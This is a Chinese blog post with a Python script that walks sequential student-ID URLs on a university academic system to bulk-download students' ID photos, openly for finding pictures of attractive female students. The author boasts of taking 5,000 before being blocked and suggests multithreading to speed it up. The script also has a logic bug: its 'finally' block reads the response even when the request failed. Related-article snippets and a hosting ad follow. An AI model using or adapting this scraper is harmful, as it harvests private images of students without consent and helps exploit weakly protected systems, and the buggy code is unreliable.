python获取教务管理系统的MM照片

摘要:
前提:您的教育管理管理系统以明文形式存储您的图片,加密图像不容易做到……也就是说,可以通过浏览器直接访问……从技术上讲,这没有问题……存储学生身份证号码更方便,然后我们可以编写一个小脚本……事实上,它直接由url获取并保存在本地…第一个python脚本…练习播放…如果你想高效,可以使用多个线程…你可以愉快地找到MM照片!

前提:你的教务管理系统是明文存储大家的图片,加密的图片就不好弄了...

也就是能够通过浏览器直接访问...技术上就不存在什么问题了...如果是学号存储的就更方便了

然后我们就可以写个小脚本了...其实就是直接url获取然后保存在本地...

第一个python小脚本...练手玩一玩...

如果要效率高可以用多线程...

大家就可以愉快的找到MM的照片啦! 不要太过火哟...我下载到5000张的时候就被远程停止了...sad...

 1 import urllib.request
 2 
 3 for i in range(10,10000):
 4     name = "http://www.xx.edu.cn:8081/_photo/student/20110000"
 5     tmp = '%d'%i
 6     while(len(tmp) < 4):
 7         tmp = "0" + tmp 
 8     name = name + tmp + ".jpg"
 9     print(name)
10     try:
11         socket = urllib.request.urlopen(name)
12     except:
13        print(name+"not exist")
14     finally:
15         data = socket.read()
16         path = r"F:pic"
17         path = path + tmp + ".jpg"
18         print(path)
19         with open(path,"wb") as jpg:
20             jpg.write(data)
21         socket.close()

解释一下...我是用python3.3   2.X的用户要用import urllib2

4-8行都是处理url字符串的...9行可要可不要

10行是测试该url是否可访问

14行之后就是保存到本地了

纯粹学术交流,请大家不要用于攻击等行为

免责声明:文章转载自《python获取教务管理系统的MM照片》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇如何删除eclipse的subclipse插件记住的SVN用户名和密码mysql 统计行数count(*)下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Python之滑动窗口

需求 对于一个数组array = ["n","v","l","f",...,"y","c","k"]; input 当前位置 index 数组的长度 arraySize 基于当前位置,(前/后)滑动窗口的元素数目 windowSize 即 滑动窗口(假定:包含当前元素 array[idx]) 总长:2*windowSize+1 output 滑动...

【转】常用的python模块及安装方法

  adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheetahcherrypy:一个WEB frameworkctypes:用来调用动态链接库DBUtils:数据库连接池django:一个WEB frameworkdocutils:用来写文档的dpkt:数据包的解包和组包...

python获取文件的绝对路径

python获取文件的绝对路径 importos defload_file(): #获取当前文件路径 current_path = os.path.abspath(__file__) #获取当前文件的父目录 father_path = os.path.abspath(os.path.dirname(current_pat...

python多线程下载网页图片并保存至特定目录

#!python3 #multidownloadXkcd.py - Download XKCD comics using multiple threads. import requests import bs4 import os import threading # os.mkdir('xkcd', exist_ok=True) # sto...

mayavi安装

Mayavi是python的一个包,提供方便的可视化方案。目前(20150809)Mayavi还没有py3的支持,以下安装环境在python 2.7.10下进行 安装Mayavi: 1. 通过pip install mayavi自动检测并且安装大部分的依赖包:     apptools、traits、traitsui、configobj、pyface、si...

python相关

python相关 一、文件相关操作 1. os.path.dirname 获取文件路径 2. os.path.join 文件路径拼接 3. os.path.exists 判断文件或文件夹是否存在 4. os.makedirs 递归创建目录 5. open(file_name [, access_mode][, buffering]) 文件操作 5...